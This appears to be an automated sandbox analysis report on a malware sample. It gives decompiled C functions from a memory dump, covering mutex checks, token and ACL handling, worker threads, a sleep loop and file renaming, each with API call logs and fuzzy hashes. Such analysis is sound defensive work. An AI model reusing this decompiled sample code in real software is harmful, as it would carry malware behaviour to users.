0x0008b9dd
0x0008b9de
0x0008b9e5
0x0008b9ed
0x0008b9f1
0x0008b9fa
0x0008ba40
0x0008ba40
0x0008ba07
0x0008ba0f
0x0008ba11
0x0008ba17
0x0008ba30
0x00000000
0x0008ba32
0x0008ba37
0x00000000
0x0008ba3d
0x0008ba19
0x0008ba19
0x0008ba19
0x0008ba19
0x0008ba17
0x0008ba46

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6D7F0000,00000000,00000000,?,0008BA79,?,00000000,?,0008D0EA), ref: 0008B9F5
GetLastError.KERNEL32(?,0008BA79,?,00000000,?,0008D0EA), ref: 0008B9FC

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,0008BA79,?,00000000,?,0008D0EA), ref: 0008BA2B

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: 1978d5e5bb8f51ab2b762ee118b28eb4c63b59d27dbd95605f1d1d2deeb069bd
Instruction ID: a9c503e0cae64907a1e68cf525398fbd1616b747265e97284885fd2e8896bcd7
Opcode Fuzzy Hash: 1978d5e5bb8f51ab2b762ee118b28eb4c63b59d27dbd95605f1d1d2deeb069bd
Instruction Fuzzy Hash: F801A272600114BF9B74ABA9DC89D9F7FECFB457A0B104126F546E3121EB70DD0097A1

Uniqueness

Uniqueness Score: -1.00%

Function 000858FF, Relevance: 4.5, APIs: 3, Instructions: 44
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000858FF(CHAR* __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr _t10;
				void* _t13;
				void* _t19;
				signed int _t21;
				signed int _t22;

				_t13 = __edx;
				if(__ecx != 0) {
					_t22 = 0;
					_t19 = CreateMutexA(0, 1, __ecx);
					if(_t19 != 0) {
						if(GetLastError() != 0xb7 || E0008A501(_t19, _t13) != 0xffffffff) {
							_t22 = 1;
							 *_a4 = _t19;
						} else {
							_t10 =  *0x9e684; // 0xa5f8f0
							 *((intOrPtr*)(_t10 + 0x30))(_t19);
						}
					} else {
						GetLastError();
						_t22 = 0xffffffff;
					}
				} else {
					_t22 = _t21 | 0xffffffff;
				}
				return _t22;
			}

0x00085903
0x00085908
0x00085914
0x00085921
0x00085925
0x0008593d
0x0008595d
0x0008595e
0x0008594d
0x0008594d
0x00085953
0x00085953
0x00085927
0x00085927
0x0008592d
0x0008592d
0x0008590a
0x0008590a
0x0008590a
0x00085966

APIs

CreateMutexA.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,?,000859C0,00085DB5,Global,0009BA14,?,00000000,?,00000002), ref: 0008591B
GetLastError.KERNEL32(?,?,000859C0,00085DB5,Global,0009BA14,?,00000000,?,00000002), ref: 00085927

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: de41b6c47ff43edfa5dbd0fb032d9d2ac535e5278922e25b23daeca3c6072156
Instruction ID: dfab0cbb1b8af053e8f6c9948d1446adefb4b73870bd4f76d174ff05d0e95ba8
Opcode Fuzzy Hash: de41b6c47ff43edfa5dbd0fb032d9d2ac535e5278922e25b23daeca3c6072156
Instruction Fuzzy Hash: 42F0FC31700814DBDA216769DC8497E76D8FBE6772B620366F9E9D72D0DB348C0443A2

Uniqueness

Uniqueness Score: -1.00%

Function 0008A4B3, Relevance: 4.5, APIs: 3, Instructions: 30
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A4B3(CHAR* __ecx, void* __edx) {
				intOrPtr _t8;
				void* _t16;
				void* _t17;

				_t16 = __edx; // executed
				_t17 = CreateMutexA(0, 1, __ecx);
				if(_t17 != 0) {
					if(GetLastError() == 0xb7 && E0008A501(_t17, _t16) < 0) {
						_t8 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t8 + 0x30))(_t17);
						_t17 = 0;
					}
					return _t17;
				}
				GetLastError();
				return 0;
			}

0x0008a4bf
0x0008a4c7
0x0008a4cb
0x0008a4e2
0x0008a4f1
0x0008a4f7
0x0008a4fa
0x0008a4fa
0x00000000
0x0008a4fc
0x0008a4cd
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000001,?,00000000,00000000,00084E07,00000000), ref: 0008A4C1
GetLastError.KERNEL32 ref: 0008A4CD
GetLastError.KERNEL32 ref: 0008A4D7

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$CreateMutex
String ID:
API String ID: 200418032-0
Opcode ID: 6a00e3e2f29e851add9d5d36d327968f13b12ab8e73e95426c99d971b34d55ab
Instruction ID: 4d8f1db8761f9bee04cf57c6a7ba2903aea3f83be3b0366c5e6b1bcd68fe1fe6
Opcode Fuzzy Hash: 6a00e3e2f29e851add9d5d36d327968f13b12ab8e73e95426c99d971b34d55ab
Instruction Fuzzy Hash: 91F0E5323001209BFA602378D80DF5A3694BFD6791F021423F645CB621EEA8CC8083A2

Uniqueness

Uniqueness Score: -1.00%

Function 00086D81, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00086D81(void* __eflags, void* __fp0) {
				short _v536;
				WCHAR* _v544;
				WCHAR* _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				void* _t22;
				void* _t32;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t51;
				void* _t53;
				void* _t56;
				WCHAR* _t59;
				signed int _t60;
				void* _t62;
				void* _t63;
				void* _t74;

				_t74 = __fp0;
				_t34 =  *0x9e778; // 0xa5fc18
				_t62 = (_t60 & 0xfffffff8) - 0x21c;
				_t51 = 0x31;
				_t32 = 1; // executed
				_t9 = E00089E9B(_t34, _t51); // executed
				if(_t9 != 0) {
					_t10 =  *0x9e78c; // 0x0
					_t66 = _t10;
					if(_t10 == 0) {
						_t49 =  *0x9e688; // 0xb0000
						_t10 = E0008EE11(_t49 + 0xb0, _t51, _t66);
						 *0x9e78c = _t10;
					}
					_push(0);
					_push(_t10);
					_t11 =  *0x9e688; // 0xb0000
					_push(L"\\c");
					_t9 = E000892C6(_t11 + 0x438);
					_t59 = _t9;
					_t63 = _t62 + 0x10;
					_v544 = _t59;
					if(_t59 != 0) {
						while(1) {
							_t35 =  *0x9e688; // 0xb0000
							_t56 = E0008A4B3(_t35 + 0x1878, 0x1388);
							if(_t56 == 0) {
								break;
							}
							if(E0008B2AB(_t59) == 0) {
								_t32 = E0008F191(_t59, 0x1388, _t74);
							}
							E0008A51D(_t56);
							_t41 =  *0x9e684; // 0xa5f8f0
							 *((intOrPtr*)(_t41 + 0x30))(_t56);
							if(_t32 > 0) {
								E000897ED( &_v544);
								_t43 =  *0x9e778; // 0xa5fc18
								_t53 = 0x33;
								if(E00089E9B(_t43, _t53) != 0) {
									L12:
									__eflags = E00081C51(_t59, __eflags, _t74);
									if(__eflags >= 0) {
										E0008B1F3(_t59, _t53, __eflags, _t74);
										continue;
									}
								} else {
									_t46 =  *0x9e778; // 0xa5fc18
									_t53 = 0x12;
									_t22 = E00089E9B(_t46, _t53);
									_t72 = _t22;
									if(_t22 != 0 || E0008A531(_t53, _t72) != 0) {
										_push(E000897ED(0));
										E00089621( &_v536, 0x104, L"%s.%u", _t59);
										_t63 = _t63 + 0x14;
										MoveFileW(_t59,  &_v536);
										continue;
									} else {
										goto L12;
									}
								}
							}
							break;
						}
						_t9 = E000885FB( &_v544, 0xfffffffe);
					}
				}
				return _t9;
			}

0x00086d81
0x00086d87
0x00086d8d
0x00086d9a
0x00086d9b
0x00086d9c
0x00086da3
0x00086da9
0x00086dae
0x00086db0
0x00086db2
0x00086dbe
0x00086dc3
0x00086dc3
0x00086dc8
0x00086dca
0x00086dcb
0x00086dd5
0x00086ddb
0x00086de0
0x00086de2
0x00086de5
0x00086deb
0x00086df1
0x00086df1
0x00086e07
0x00086e0b
0x00000000
0x00000000
0x00086e1a
0x00086e23
0x00086e23
0x00086e27
0x00086e2c
0x00086e33
0x00086e38
0x00086e3e
0x00086e43
0x00086e4b
0x00086e53
0x00086ea1
0x00086ea8
0x00086eaa
0x00086eae
0x00000000
0x00086eae
0x00086e55
0x00086e55
0x00086e5d
0x00086e5e
0x00086e63
0x00086e65
0x00086e77
0x00086e88
0x00086e8d
0x00086e96
0x00000000
0x00000000
0x00000000
0x00000000
0x00086e65
0x00086e53
0x00000000
0x00086e38
0x00086ebf
0x00086ec5
0x00086deb
0x00086ecc

APIs

MoveFileW.KERNEL32 ref: 00086E96

Strings

%s.%u, xrefs: 00086E79

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID: %s.%u
API String ID: 3562171763-1288070821
Opcode ID: bb16c603eebb5e4f14b26dcc143e5a887ebc535b2f659c5cffb9df98c1f5676f
Instruction ID: 4139d0d3afdab756ee988d5dfa7e7ec3c7fb0867fd7b8d81ce71e2a410f23da2
Opcode Fuzzy Hash: bb16c603eebb5e4f14b26dcc143e5a887ebc535b2f659c5cffb9df98c1f5676f
Instruction Fuzzy Hash: 1731BF313043006BF614FBB5DD96ABE3799BB90760F55042AF9919B283EF2ADD028752

Uniqueness

Uniqueness Score: -1.00%

Function 00082ADD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
stringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00082ADD() {
				intOrPtr _v8;
				signed int _v12;
				CHAR* _v16;
				signed int _t16;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t26;
				void* _t29;
				signed int _t31;
				intOrPtr _t36;
				CHAR* _t38;
				intOrPtr _t39;
				void* _t40;

				_t15 =  *0x9e710 * 0x64;
				_t39 = 0;
				_v12 =  *0x9e710 * 0x64;
				_t16 = E000885E5(_t15);
				_t38 = _t16;
				_v16 = _t38;
				if(_t38 != 0) {
					_t31 =  *0x9e710; // 0x2
					_t36 = 0;
					_v8 = 0;
					if(_t31 == 0) {
						L9:
						_push(_t38);
						E00089F13(0xe); // executed
						E000885FB( &_v16, _t39);
						return 0;
					}
					_t29 = 0;
					do {
						_t21 =  *0x9e714; // 0xa5f520
						if( *((intOrPtr*)(_t29 + _t21)) != 0) {
							if(_t39 != 0) {
								lstrcatA(_t38, "|");
								_t39 = _t39 + 1;
							}
							_t22 =  *0x9e714; // 0xa5f520
							_push( *((intOrPtr*)(_t29 + _t22 + 0x10)));
							_push( *((intOrPtr*)(_t29 + _t22 + 8)));
							_t26 = E000895E2( &(_t38[_t39]), _v12 - _t39, "%u;%u;%u",  *((intOrPtr*)(_t29 + _t22)));
							_t31 =  *0x9e710; // 0x2
							_t40 = _t40 + 0x18;
							_t36 = _v8;
							_t39 = _t39 + _t26;
						}
						_t36 = _t36 + 1;
						_t29 = _t29 + 0x20;
						_v8 = _t36;
					} while (_t36 < _t31);
					goto L9;
				}
				return _t16 | 0xffffffff;
			}

0x00082ae3
0x00082aed
0x00082af0
0x00082af3
0x00082af8
0x00082afa
0x00082b00
0x00082b0a
0x00082b10
0x00082b12
0x00082b17
0x00082b74
0x00082b7a
0x00082b7e
0x00082b89
0x00000000
0x00082b90
0x00082b19
0x00082b1b
0x00082b1b
0x00082b24
0x00082b28
0x00082b30
0x00082b36
0x00082b36
0x00082b37
0x00082b3c
0x00082b40
0x00082b56
0x00082b5b
0x00082b61
0x00082b64
0x00082b67
0x00082b67
0x00082b69
0x00082b6a
0x00082b6d
0x00082b70
0x00000000
0x00082b1b
0x00000000

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

lstrcatA.KERNEL32(00000000,0009B99C,00085731,-00000020,00000000,?,00000000,?,?,?,?,?,?,?,00085731), ref: 00082B30

Strings

%u;%u;%u, xrefs: 00082B4C

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeaplstrcat
String ID: %u;%u;%u
API String ID: 3011335133-2973439046
Opcode ID: 6203bf57f6918823752746b5a0b85385c1a1169f0df7945d112bb7a868d9b6d2
Instruction ID: 26ea8505adde5effaf1bd87c51140b3beee2636f22261527961e33119f607e6e
Opcode Fuzzy Hash: 6203bf57f6918823752746b5a0b85385c1a1169f0df7945d112bb7a868d9b6d2
Instruction Fuzzy Hash: 0411D632A05600ABDB15EFE9DCC4EAABBB9FB84320B10456AE551D7151DB349900CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0008BD52, Relevance: 3.1, APIs: 2, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0008BD52() {
				char _v8;
				void* _v12;
				char _v16;
				short _v20;
				char _v24;
				short _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v88;
				intOrPtr _v92;
				void _v96;
				intOrPtr _t58;
				intOrPtr _t61;
				intOrPtr _t63;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t70;
				intOrPtr _t73;
				intOrPtr _t77;
				intOrPtr _t79;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t87;
				signed int _t90;
				void* _t92;
				intOrPtr _t93;
				void* _t98;

				_t90 = 8;
				_v28 = 0xf00;
				_v32 = 0;
				_v24 = 0;
				memset( &_v96, 0, _t90 << 2);
				_v20 = 0x100;
				_push( &_v12);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_v16 = 0;
				_push(0);
				_v8 = 0;
				_push(1);
				_v12 = 0;
				_push( &_v24);
				_t58 =  *0x9e68c; // 0xa5fab8
				_t98 = 0;
				if( *((intOrPtr*)(_t58 + 0xc))() == 0) {
					L14:
					if(_v8 != 0) {
						_t67 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t67 + 0x10))(_v8);
					}
					if(_v12 != 0) {
						_t65 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t65 + 0x10))(_v12);
					}
					if(_t98 != 0) {
						_t63 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t63 + 0x34))(_t98);
					}
					if(_v16 != 0) {
						_t61 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t61 + 0x34))(_v16);
					}
					L22:
					return _t98;
				}
				_v68 = _v12;
				_t70 =  *0x9e688; // 0xb0000
				_t92 = 2;
				_v96 = 0x1fffff;
				_v92 = 0;
				_v88 = 3;
				_v76 = 0;
				_v72 = 5;
				if( *((intOrPtr*)(_t70 + 4)) != 6 ||  *((intOrPtr*)(_t70 + 8)) < 0) {
					if( *((intOrPtr*)(_t70 + 4)) < 0xa) {
						goto L7;
					}
					goto L4;
				} else {
					L4:
					_push( &_v8);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(1);
					_push(_t92);
					_push(_t92);
					_push( &_v32);
					_t85 =  *0x9e68c; // 0xa5fab8
					if( *((intOrPtr*)(_t85 + 0xc))() == 0) {
						goto L14;
					} else {
						_t87 = _v8;
						if(_t87 != 0) {
							_push(2);
							_pop(1);
							_v64 = 0x1fffff;
							_v60 = 1;
							_v56 = 3;
							_v44 = 0;
							_v40 = 1;
							_v36 = _t87;
						}
						L7:
						_push( &_v16);
						_push(0);
						_push( &_v96);
						_t73 =  *0x9e68c; // 0xa5fab8
						_push(1); // executed
						if( *((intOrPtr*)(_t73 + 8))() != 0) {
							goto L14;
						}
						_t98 = LocalAlloc(0x40, 0x14);
						if(_t98 == 0) {
							goto L14;
						}
						_t93 =  *0x9e68c; // 0xa5fab8
						_push(1);
						_push(_t98);
						if( *((intOrPtr*)(_t93 + 0x90))() == 0) {
							goto L14;
						}
						_t77 =  *0x9e68c; // 0xa5fab8
						_push(0);
						_push(_v16);
						_push(1);
						_push(_t98);
						if( *((intOrPtr*)(_t77 + 0x94))() == 0) {
							goto L14;
						}
						if(_v8 != 0) {
							_t81 =  *0x9e68c; // 0xa5fab8
							 *((intOrPtr*)(_t81 + 0x10))(_v8);
						}
						_t79 =  *0x9e68c; // 0xa5fab8
						 *((intOrPtr*)(_t79 + 0x10))(_v12);
						goto L22;
					}
				}
			}

0x0008bd5d
0x0008bd60
0x0008bd68
0x0008bd6e
0x0008bd71
0x0008bd76
0x0008bd7c
0x0008bd7d
0x0008bd7e
0x0008bd7f
0x0008bd80
0x0008bd81
0x0008bd82
0x0008bd83
0x0008bd86
0x0008bd89
0x0008bd8b
0x0008bd8e
0x0008bd92
0x0008bd95
0x0008bd96
0x0008bd9b
0x0008bda2
0x0008be96
0x0008be9a
0x0008be9c
0x0008bea4
0x0008bea4
0x0008beab
0x0008bead
0x0008beb5
0x0008beb5
0x0008beba
0x0008bebc
0x0008bec2
0x0008bec2
0x0008bec9
0x0008becb
0x0008bed3
0x0008bed3
0x0008bed7
0x0008bedc
0x0008bedc
0x0008bdad
0x0008bdb0
0x0008bdb7
0x0008bdb8
0x0008bdbf
0x0008bdc2
0x0008bdc9
0x0008bdcc
0x0008bdd7
0x0008bde2
0x00000000
0x00000000
0x00000000
0x0008bde4
0x0008bde4
0x0008bde7
0x0008bde8
0x0008bde9
0x0008bdea
0x0008bdeb
0x0008bdec
0x0008bded
0x0008bdee
0x0008bdf0
0x0008bdf1
0x0008bdf5
0x0008bdf6
0x0008be00
0x00000000
0x0008be06
0x0008be06
0x0008be0b
0x0008be0d
0x0008be0f
0x0008be10
0x0008be17
0x0008be1a
0x0008be21
0x0008be24
0x0008be27
0x0008be27
0x0008be2a
0x0008be2d
0x0008be2e
0x0008be32
0x0008be33
0x0008be38
0x0008be3e
0x00000000
0x00000000
0x0008be4a
0x0008be4e
0x00000000
0x00000000
0x0008be50
0x0008be56
0x0008be58
0x0008be61
0x00000000
0x00000000
0x0008be63
0x0008be68
0x0008be69
0x0008be6c
0x0008be6e
0x0008be77
0x00000000
0x00000000
0x0008be7c
0x0008be7e
0x0008be86
0x0008be86
0x0008be89
0x0008be91
0x00000000
0x0008be91
0x0008be00

APIs

SetEntriesInAclA.ADVAPI32(00000001,001FFFFF,00000000,?), ref: 0008BE39
LocalAlloc.KERNEL32(00000040,00000014), ref: 0008BE44

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocEntriesLocal
String ID:
API String ID: 2146116654-0
Opcode ID: abd2abb1c2a675e30db1c05a41365c71064cf18d764b66cf42dc4a5385c88731
Instruction ID: 8a8dff3e50a777aa36eb2557a5ec9411efcf3ba185eb1fbebad0df61dff2a8da
Opcode Fuzzy Hash: abd2abb1c2a675e30db1c05a41365c71064cf18d764b66cf42dc4a5385c88731
Instruction Fuzzy Hash: F6513B71A00208EFEB24DF99D988ADEBBF8FF44701F15806AF604AB260D7749E44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000898CF, Relevance: 3.1, APIs: 2, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E000898CF(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t48;
				intOrPtr _t49;
				void* _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				struct _SECURITY_ATTRIBUTES* _t58;
				intOrPtr _t59;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				struct _SECURITY_ATTRIBUTES* _t73;
				intOrPtr _t74;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr _t83;
				void* _t86;
				intOrPtr _t87;
				intOrPtr _t89;
				signed int _t92;
				intOrPtr _t97;
				intOrPtr _t98;
				int _t106;
				intOrPtr _t110;
				signed int _t112;
				signed int _t113;
				void* _t115;

				_push(__ecx);
				_push(__ecx);
				_v8 = __edx;
				_v12 = __ecx;
				_t77 =  *0x9e76c; // 0x1cc
				_t73 = 0;
				if(E0008A501(_t77, 0x7530) >= 0) {
					_t45 =  *0x9e770; // 0x2731718
					_t112 = 0;
					_t106 = 0;
					do {
						_t78 =  *((intOrPtr*)(_t106 + _t45));
						if(_t78 == 0) {
							L6:
							if( *((intOrPtr*)(_t106 + _t45)) == _t73) {
								_t113 = _t112 << 5;
								if(_v8 == _t73) {
									 *(_t113 + _t45 + 0x10) = _t73;
									_t46 =  *0x9e770; // 0x2731718
									 *(_t113 + _t46 + 0xc) = _t73;
									L14:
									_t79 =  *0x9e770; // 0x2731718
									 *((intOrPtr*)(_t113 + _t79 + 0x14)) = _a8;
									_t48 =  *0x9e770; // 0x2731718
									 *((intOrPtr*)(_t113 + _t48 + 8)) = _v12;
									_t49 = E0008A4B3(0, 1);
									_t82 =  *0x9e770; // 0x2731718
									 *((intOrPtr*)(_t113 + _t82 + 0x1c)) = _t49;
									_t83 =  *0x9e770; // 0x2731718
									_t30 = _t83 + _t113 + 4; // 0x273171c
									_t52 = CreateThread(_t73, _t73, E00089887, _t83 + _t113, _t73, _t30);
									_t53 =  *0x9e770; // 0x2731718
									 *(_t113 + _t53) = _t52;
									_t54 =  *0x9e770; // 0x2731718
									_t86 =  *(_t113 + _t54);
									if(_t86 != 0) {
										SetThreadPriority(_t86, 0xffffffff);
										_t87 =  *0x9e770; // 0x2731718
										 *0x9e774 =  *0x9e774 + 1;
										E0008A51D( *((intOrPtr*)(_t113 + _t87 + 0x1c)));
										_t74 =  *0x9e770; // 0x2731718
										_t73 = _t74 + _t113;
									} else {
										_t59 =  *0x9e684; // 0xa5f8f0
										 *((intOrPtr*)(_t59 + 0x30))( *((intOrPtr*)(_t113 + _t54 + 0x1c)));
										_t61 =  *0x9e770; // 0x2731718
										_t37 = _t61 + 0xc; // 0x2731724
										_t91 = _t37 + _t113;
										if( *((intOrPtr*)(_t37 + _t113)) != _t73) {
											E000885FB(_t91,  *((intOrPtr*)(_t113 + _t61 + 0x10)));
											_t61 =  *0x9e770; // 0x2731718
										}
										_t92 = 8;
										memset(_t113 + _t61, 0, _t92 << 2);
									}
									L19:
									_t89 =  *0x9e76c; // 0x1cc
									E0008A51D(_t89);
									_t58 = _t73;
									L20:
									return _t58;
								}
								_t110 = _a4;
								_t65 = E000885E5(_t110);
								_t97 =  *0x9e770; // 0x2731718
								 *((intOrPtr*)(_t113 + _t97 + 0xc)) = _t65;
								_t66 =  *0x9e770; // 0x2731718
								if( *((intOrPtr*)(_t113 + _t66 + 0xc)) == _t73) {
									goto L19;
								}
								 *((intOrPtr*)(_t113 + _t66 + 0x10)) = _t110;
								_t67 =  *0x9e770; // 0x2731718
								E000886C2( *((intOrPtr*)(_t113 + _t67 + 0xc)), _v8, _t110);
								_t115 = _t115 + 0xc;
								goto L14;
							}
							goto L7;
						}
						_t69 =  *0x9e684; // 0xa5f8f0
						_push(_t73);
						_push(_t78);
						if( *((intOrPtr*)(_t69 + 0x2c))() == 0x102) {
							_t45 =  *0x9e770; // 0x2731718
							goto L7;
						}
						_t98 =  *0x9e770; // 0x2731718
						E0008982B(_t106 + _t98, 0);
						_t45 =  *0x9e770; // 0x2731718
						goto L6;
						L7:
						_t106 = _t106 + 0x20;
						_t112 = _t112 + 1;
					} while (_t106 < 0x1000);
					goto L19;
				}
				_t58 = 0;
				goto L20;
			}

0x000898d2
0x000898d3
0x000898d4
0x000898dc
0x000898df
0x000898e6
0x000898ef
0x000898f8
0x000898ff
0x00089901
0x00089903
0x00089903
0x00089908
0x00089930
0x00089933
0x0008994d
0x00089953
0x00089993
0x00089997
0x0008999c
0x000899a0
0x000899a0
0x000899ac
0x000899b0
0x000899b8
0x000899be
0x000899c3
0x000899c9
0x000899cd
0x000899d5
0x000899e7
0x000899ec
0x000899f1
0x000899f4
0x000899f9
0x000899fe
0x00089a3a
0x00089a40
0x00089a46
0x00089a50
0x00089a55
0x00089a5b
0x00089a00
0x00089a04
0x00089a09
0x00089a0c
0x00089a11
0x00089a14
0x00089a18
0x00089a1f
0x00089a24
0x00089a2a
0x00089a32
0x00089a33
0x00089a33
0x00089a5d
0x00089a5d
0x00089a63
0x00089a69
0x00089a6c
0x00089a6e
0x00089a6e
0x00089955
0x00089959
0x0008995f
0x00089965
0x00089969
0x00089972
0x00000000
0x00000000
0x00089978
0x0008997c
0x00089989
0x0008998e
0x00000000
0x0008998e
0x00000000
0x00089933
0x0008990a
0x0008990f
0x00089910
0x00089919
0x00089946
0x00000000
0x00089946
0x0008991b
0x00089926
0x0008992b
0x00000000
0x00089935
0x00089935
0x00089938
0x00089939
0x00000000
0x00089941
0x000898f1
0x00000000

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 288326ae1cc7753c25860b1c3113d15a601b38e0388dcd1395a027913518169f
Instruction ID: 6cd403ee8bd510f537b18fc82177b251fc2f6b8552ea639a777c6b464c43f836
Opcode Fuzzy Hash: 288326ae1cc7753c25860b1c3113d15a601b38e0388dcd1395a027913518169f
Instruction Fuzzy Hash: 48515F71614640DFEB69EFA8EC80876F7E9FB49314758492EE48683365CA35EC02CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00085624, Relevance: 3.1, APIs: 2, Instructions: 97
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00085624(void* __edx, void* __edi) {
				char _v44;
				void* _t8;
				intOrPtr _t11;
				intOrPtr _t14;
				intOrPtr _t17;
				intOrPtr _t18;
				void* _t20;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				void* _t40;
				intOrPtr _t49;
				void* _t54;

				_t54 = __edi;
				_t8 = E00089E47(0x3b); // executed
				if(_t8 != 0xffffffff) {
					L2:
					E000897ED(0x9e6c8);
					_t39 = 0x37; // executed
					E00089ED1(_t39);
					_t11 =  *0x9e688; // 0xb0000
					_t40 = 0x3a; // executed
					E00089ED1(_t40); // executed
					E0008E503(_t63);
					_t14 =  *0x9e688; // 0xb0000
					_t41 =  &_v44;
					_t52 =  *((intOrPtr*)(_t14 + 0xac)) + 2;
					E0008A8AF( &_v44,  *((intOrPtr*)(_t14 + 0xac)) + 2, _t63);
					_t17 =  *0x9e684; // 0xa5f8f0
					_t18 =  *((intOrPtr*)(_t17 + 0xc4))(0, 0, 0,  &_v44,  *((intOrPtr*)(_t11 + 0x1640)), 0,  *0x9e6c8,  *0x9e6cc);
					 *0x9e74c = _t18;
					if(_t18 != 0) {
						_t20 = CreateMutexA(0, 0, 0);
						 *0x9e76c = _t20;
						__eflags = _t20;
						if(_t20 != 0) {
							_t34 = E000885E5(0x1000);
							_t52 = 0;
							 *0x9e770 = _t34;
							_t49 =  *0x9e774; // 0x2
							__eflags = _t34;
							_t41 =  !=  ? 0 : _t49;
							 *0x9e774 =  !=  ? 0 : _t49; // executed
						}
						E00081521(_t41, _t52); // executed
						E000898CF(E00082ECD, 0, __eflags, 0, 0); // executed
						E0008300A(); // executed
						E000831B5(0, __eflags); // executed
						E0008299A(); // executed
						E00083BA5(_t54, __eflags); // executed
						while(1) {
							__eflags =  *0x9e758; // 0x0
							if(__eflags != 0) {
								break;
							}
							E000897ED(0x9e750);
							_push(0x9e750);
							_push(0x9e750); // executed
							E00082784();
							Sleep(0xfa0);
						}
						E00083D27();
						E00089A6F();
						E000834BE();
						_t33 = 0;
						__eflags = 0;
					} else {
						goto L3;
					}
				} else {
					_t36 = E00082DBE();
					_t63 = _t36;
					if(_t36 != 0) {
						L3:
						_t33 = 1;
					} else {
						goto L2;
					}
				}
				return _t33;
			}

0x00085624
0x00085630
0x00085639
0x00085644
0x00085649
0x0008565c
0x0008565d
0x00085662
0x00085672
0x00085673
0x0008567b
0x00085680
0x00085685
0x0008568f
0x00085692
0x0008569c
0x000856a4
0x000856aa
0x000856b1
0x000856c3
0x000856c9
0x000856ce
0x000856d0
0x000856d7
0x000856dc
0x000856de
0x000856e4
0x000856ea
0x000856ec
0x000856ef
0x000856ef
0x000856f5
0x00085703
0x0008570a
0x0008570f
0x00085714
0x00085719
0x00085743
0x00085743
0x00085749
0x00000000
0x00000000
0x00085725
0x0008572a
0x0008572b
0x0008572c
0x0008573d
0x0008573d
0x0008574b
0x00085750
0x00085755
0x0008575a
0x0008575a
0x00000000
0x00000000
0x00000000
0x0008563b
0x0008563b
0x00085640
0x00085642
0x000856b3
0x000856b5
0x00000000
0x00000000
0x00000000
0x00085642
0x00085760

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00000000), ref: 000856C3

Part of subcall function 000897ED: GetSystemTimeAsFileTime.KERNEL32(?,?,00085F90), ref: 000897FA
Part of subcall function 000897ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0008981A

Sleep.KERNELBASE(00000FA0), ref: 0008573D

Memory Dump Source

